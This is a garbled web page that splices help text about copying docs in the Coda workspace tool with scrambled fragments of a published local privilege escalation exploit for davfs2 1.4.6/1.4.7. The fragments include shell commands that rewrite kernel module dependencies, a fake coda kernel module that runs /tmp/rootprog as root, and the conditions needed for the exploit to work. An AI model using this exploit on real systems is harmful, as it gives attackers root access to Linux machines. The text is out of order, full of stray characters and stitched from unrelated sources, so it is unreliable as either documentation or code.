There are no connections between tables of the source doc and the new, copied doc. If there is no Copy Doc option available, this indicates that the doc owner has disabled the ability for others to copy their doc.Ī copy of this doc will live entirely as its own, unconnected doc in the workspace of the user who copies it. If the owner of the doc has permitted copies to be made (see section below), you should see a Copy Doc button in the upper-right corner of the doc. What happens to comments and page authors when I copy a doc? How do I make a page copyable within a single doc? How do I prevent someone from copying my doc? Modify the default value of 'kernel_fs' to coda eg:"Įcho "# dav_user davfs2 # system wide config file only"Įcho "# dav_group davfs2 # system wide config file only"Įcho "# ignore_home # system wide config file only"Įcho "Then, check /etc/fstab for remote webdav servers which the user can mount, eg:"Įcho " /home/foo/dav davfs noauto,user 0 0"Įcho "If the remote webdav is authenticated, ensure to have valid credentials.How do I copy a published doc that is open only to my team? Default value is $PWD/rootprog"Įcho "WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module"Įcho "Now, check the the $HOME/.davfs2/nf. Sed 's/'$OLD_CODA_PATH'/'$NEW_CODA_PATH'/g' $PWD/lib/modules/$KERNELV/p > /tmp/new_pĬat /tmp/new_p | sed 's/\\//g' > /tmp/Ĭp /tmp/ $PWD/lib/modules/$KERNELV/pĮcho "Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. NEW_CODA_PATH="$ESCAPEDPWD\/lib\/modules\/$KERNELV\/kernel\/fs\/coda\/coda.ko" OLD_CODA_PATH="kernel\/fs\/coda\/coda.ko"
#Copying entire site coda 2 full
# Info: Vulnerability reported by Werner Baumann: Įcho "#"Įcho "Specify the full path of the kernel module which you want to load"Įcho "Leave empty if you wish to compile it now"Įcho "Understand that you need kernel headers, make and gcc for successful compilation"Įcho "Copying the modules in use for the running kernel in the local directory"Ĭp -R /lib/modules/`uname -r` lib/modulesĬp $EXPLOITMODPATH $PWD/lib/modules/$KERNELV/kernel/fs/codaĮcho "Setting the 'p' and running depmod"Įcho -n $PWD | sed 's/\//\\\//g' > /tmp/escapedpwd
# Exploit Title: davfs2 1.4.6/1.4.7 local privilege escalation exploit Make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean Make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules Printk(KERN_INFO "call_usermodehelper_setup failed \n") Ĭall_usermodehelper_exec( sub_info, UMH_WAIT_PROC ) Sub_info = call_usermodehelper_setup( argv, argv, envp, GFP_ATOMIC ) home/eviluser/media/dav davfs noauto,user 0 0Ĭoda.c - fake coda module that executes a user-mode programĬhar *argv = If this server uses authentication, theĪttacker must be aware of the webdav cat /etc/fstab | grep davfs Impersonating must be allowed to mount at least one remote Webdav server. Which is not loaded by default in most debian-based distributions.Ģ-The user which the attacker is impersonating must be allowed to mount remote webdav cat /etc/group | grep davfs2ģ-davfs2 uses /etc/fstab to define which remote servers can be mounted by users. *Conditions for successful exploitation*:ġ-At least one of the module 'fuse' or 'coda' must not be loaded in the kernel. X86_64 system but should work on other distributions, too. The exploit has been tested on an Ubuntu-based
#Copying entire site coda 2 code
UNARMED, YOU HAVE TO COMPILE THE USER MODE CODE WHICH YOU WANT TO RUN. The provided PoC contains a kernel module code which transfers back the execution to a "/tmp/rootprog" thatĬan contain user-mode code of choice which will run with root privileges. "MODPROBE_OPTIONS" environment variable to pass a user controlled path, allowing the load of an arbitrary kernel An unprivileged, local authenticated user can set the Root with setuid and executes some calls to system() which allows to pass environment variables which can alter theĬalls to system() execute the "modprobe" command.
Basically the program "mount.davfs" runs as Learn more about bidirectional Unicode charactersĭavfs2 1.4.6/1.4.7 local privilege escalation exploitĭavfs2 is a Linux utility which allows OS users to mount a remote webdav server as a local partition.
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